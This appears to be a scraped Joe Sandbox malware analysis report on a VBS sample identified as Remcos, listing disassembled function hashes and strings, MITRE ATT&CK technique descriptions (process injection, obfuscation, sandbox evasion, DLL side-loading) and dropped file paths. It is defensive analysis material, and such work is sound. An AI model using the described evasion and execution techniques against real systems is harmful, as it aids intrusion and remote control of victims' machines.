Opcode ID: 5afd5c8290cbcc1621ea6c2de6fded79fc3acca6817a70f01c6f7bc011c0eb51
Instruction ID: 8ee3f736cf2cdf91754b019ef34bd2f098c7e221a31fec81a19abe455d10007e
Opcode Fuzzy Hash: 5afd5c8290cbcc1621ea6c2de6fded79fc3acca6817a70f01c6f7bc011c0eb51
Instruction Fuzzy Hash: A1E06D7454120DDBDB00AFA4EA15AAE7B35AF44315F200418F502EB241CAB54520DA51

Function 089655AD Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3210706018.0000000008960000.00000040.00000800.00020000.00000000.sdmp, Offset: 08960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_8960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 562f1712a026d186dffc48e6cf5f006c8e38557830c1addcc52776023ef12556
Instruction ID: eefa4f85688ab32d80a5e5c1fc56349ab227cd8fa2178ef64783cae3af0e64a1
Opcode Fuzzy Hash: 562f1712a026d186dffc48e6cf5f006c8e38557830c1addcc52776023ef12556
Instruction Fuzzy Hash: D6E09A7494120EEBEB00AFA4EA16AAE7B35BB04315F200418F502EB240CAB54A20DB11

Function 089655D3 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3210706018.0000000008960000.00000040.00000800.00020000.00000000.sdmp, Offset: 08960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_8960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 562f1712a026d186dffc48e6cf5f006c8e38557830c1addcc52776023ef12556
Instruction ID: eefa4f85688ab32d80a5e5c1fc56349ab227cd8fa2178ef64783cae3af0e64a1
Opcode Fuzzy Hash: 562f1712a026d186dffc48e6cf5f006c8e38557830c1addcc52776023ef12556
Instruction Fuzzy Hash: D6E09A7494120EEBEB00AFA4EA16AAE7B35BB04315F200418F502EB240CAB54A20DB11

Function 089652EC Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3210706018.0000000008960000.00000040.00000800.00020000.00000000.sdmp, Offset: 08960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_8960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88413c1ef1c8eae0bfb33b9533a9f0bd05758c29ff3cf9d6c3e75d1a34a137b2
Instruction ID: fdf5e49bfd91b75ffa1675cab0f897cdd9933d5db1d46f42f9716b358fde529f
Opcode Fuzzy Hash: 88413c1ef1c8eae0bfb33b9533a9f0bd05758c29ff3cf9d6c3e75d1a34a137b2
Instruction Fuzzy Hash: F1D0A97090630FDAEB00EF81D610BBEBA707B00369F310808F402B1240DBB04224CA92

Non-executed Functions

Function 07CC8D38 Relevance: 10.3, Strings: 8, Instructions: 305COMMON

Download Yara Rule

Strings

(fjl, xrefs: 07CC8F87
(fjl, xrefs: 07CC8E31
(fjl, xrefs: 07CC9034
(fjl, xrefs: 07CC8E3B
(fjl, xrefs: 07CC902A
(fjl, xrefs: 07CC8F7D
(fjl, xrefs: 07CC8EAC
(fjl, xrefs: 07CC8EB6

Memory Dump Source

Source File: 0000000B.00000002.3205286896.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7cc0000_powershell.jbxd

Similarity

API ID:
String ID: (fjl$(fjl$(fjl$(fjl$(fjl$(fjl$(fjl$(fjl
API String ID: 0-2531435332
Opcode ID: 4f3be3eab9aaf38b42b7a68ac25a2bf6311bd99d9b40bacb02317b01d6539e45
Instruction ID: fb238d74554de38df5d46c096914cd04891363a110423bd4d221255904e15292
Opcode Fuzzy Hash: 4f3be3eab9aaf38b42b7a68ac25a2bf6311bd99d9b40bacb02317b01d6539e45
Instruction Fuzzy Hash: A1C1B0B5E00205DBEB24DF98C451A6FB7F2AF89314F14816DD906ABB54CB32ED42CB91

Function 07CCA680 Relevance: 5.5, Strings: 4, Instructions: 481COMMON

Download Yara Rule

Strings

`l, xrefs: 07CCAC0F
`l, xrefs: 07CCA775
`l, xrefs: 07CCAC01
`l, xrefs: 07CCA767

Memory Dump Source

Source File: 0000000B.00000002.3205286896.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7cc0000_powershell.jbxd

Similarity

API ID:
String ID: `l$`l$`l$`l
API String ID: 0-3794947543
Opcode ID: 1be8bd45bd8319a4701c888350666d6ce9b8a9479725a9a93ce042fcd281fc8c
Instruction ID: c0fc9a3a985d0b931e094c7c057fb317bea60064bc995387eb8a9fc4d766fba4
Opcode Fuzzy Hash: 1be8bd45bd8319a4701c888350666d6ce9b8a9479725a9a93ce042fcd281fc8c
Instruction Fuzzy Hash: CFF129B2B042099FD715DF6988556AEBBF2AFC6210F18C0BED549CB251DB31CE42C7A1

Function 07CC0BB0 Relevance: 5.4, Strings: 4, Instructions: 409COMMON

Download Yara Rule

Strings

84hl, xrefs: 07CC0E24
84hl, xrefs: 07CC0CBA
84hl, xrefs: 07CC0E1A
84hl, xrefs: 07CC0CB0

Memory Dump Source

Source File: 0000000B.00000002.3205286896.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7cc0000_powershell.jbxd

Similarity

API ID:
String ID: 84hl$84hl$84hl$84hl
API String ID: 0-1660550548
Opcode ID: 367a2a13faae79b79ba21544b063b071aec04e8a457e758fda697feaeb76464e
Instruction ID: 1930cb63586d551c9bcac1dce809ee39f09ec2d6690876e003a5769c29e7a430
Opcode Fuzzy Hash: 367a2a13faae79b79ba21544b063b071aec04e8a457e758fda697feaeb76464e
Instruction Fuzzy Hash: F7E170B1B00219DFDB14CF99C894AAABBF2BF89710F14806DE9059B355CB71DD82CB91

Function 07CC0148 Relevance: 5.3, Strings: 4, Instructions: 285COMMON

Download Yara Rule

Strings

XYjl, xrefs: 07CC0203
XYjl, xrefs: 07CC020F
TZk, xrefs: 07CC01F5
DUZk, xrefs: 07CC03A5

Memory Dump Source

Source File: 0000000B.00000002.3205286896.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7cc0000_powershell.jbxd

Similarity

API ID:
String ID: TZk$DUZk$XYjl$XYjl
API String ID: 0-2218632384
Opcode ID: 736c932c1c0f56bc0939647d778f0968f22aa8976784dcf251993191cdefbd4b
Instruction ID: 4d547988afbfe4b1c4752658ff625b65a3d24a8cb82753dc945e8fadd904c28e
Opcode Fuzzy Hash: 736c932c1c0f56bc0939647d778f0968f22aa8976784dcf251993191cdefbd4b
Instruction Fuzzy Hash: E791D5B1B04215CFDB15DF69C8546AAFBF2AFC6210F1881AFC505DB256DA31CE81C7A1

Function 07CCDE3D Relevance: 5.3, Strings: 4, Instructions: 285COMMON

Download Yara Rule

Strings

84hl, xrefs: 07CCE01C
84hl, xrefs: 07CCE012
84hl, xrefs: 07CCDF20
84hl, xrefs: 07CCDF16

Memory Dump Source

Source File: 0000000B.00000002.3205286896.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7cc0000_powershell.jbxd

Similarity

API ID:
String ID: 84hl$84hl$84hl$84hl
API String ID: 0-1660550548
Opcode ID: cb6ee335c8832d2982728d3f2df2514b7b7eed8c7aaed87caf03f7fd9bf86d82
Instruction ID: 54bb63e01f341c8c0d4ab131077470e1cbe3eed21b0b67b9d8840379143c8d21
Opcode Fuzzy Hash: cb6ee335c8832d2982728d3f2df2514b7b7eed8c7aaed87caf03f7fd9bf86d82
Instruction Fuzzy Hash: 73A1E7B1B0021ADFDB28DF59C850B6AB7F2AF8A311F1484ADE8069B355CB71DD41C7A1

Function 07CC8D14 Relevance: 5.3, Strings: 4, Instructions: 268COMMON

Download Yara Rule

Strings

(fjl, xrefs: 07CC8E31
(fjl, xrefs: 07CC902A
(fjl, xrefs: 07CC8EAC
(fjl, xrefs: 07CC8F7D

Memory Dump Source

Source File: 0000000B.00000002.3205286896.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7cc0000_powershell.jbxd

Similarity

API ID:
String ID: (fjl$(fjl$(fjl$(fjl
API String ID: 0-4134099275
Opcode ID: e4ad99896feb63d5a07cddf7e724d2c3e002006c1a83daa82d5c749e6e57f2fc
Instruction ID: a28a9387516595ac305feaaaa1113af8925655bcd638ee35d3ec1f31b767be9b
Opcode Fuzzy Hash: e4ad99896feb63d5a07cddf7e724d2c3e002006c1a83daa82d5c749e6e57f2fc
Instruction Fuzzy Hash: 48A1AFB5E04205DFEB24CF94C480AABB7F2BF89314F14856ED8166BA54C732F942CB91

Function 07CC8498 Relevance: 5.2, Strings: 4, Instructions: 192COMMON

Download Yara Rule

Strings

(fjl, xrefs: 07CC858F
(fjl, xrefs: 07CC8617
(fjl, xrefs: 07CC8599
(fjl, xrefs: 07CC860D

Memory Dump Source

Source File: 0000000B.00000002.3205286896.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7cc0000_powershell.jbxd

Similarity

API ID:
String ID: (fjl$(fjl$(fjl$(fjl
API String ID: 0-4134099275
Opcode ID: 97e5f78e732681bf0e48a9306a7bb7e1804b9933376c09ac5155331ed331ca34
Instruction ID: 691192cfa86ab0047e16b2437c5a2758cea8d89f22856ee13bb30fbecc27ab85
Opcode Fuzzy Hash: 97e5f78e732681bf0e48a9306a7bb7e1804b9933376c09ac5155331ed331ca34
Instruction Fuzzy Hash: 2A715EB0A00205DFE714DF98C491AAFBBF2AF89314F1481ADD905AB355CB72ED42CB91

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report AF85714759_htm#U00b7pdf.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Remcos

Yara Signatures

Memory Dumps

Other

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_442wxg2x.rgl.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cqmq5coj.o0u.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nixuewvc.mtj.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ortgq2c4.ccg.ps1

C:\Users\user\AppData\Roaming\Folkeslaget.Opi

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
AF85714759_htm#U00b7pdf.vbs

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre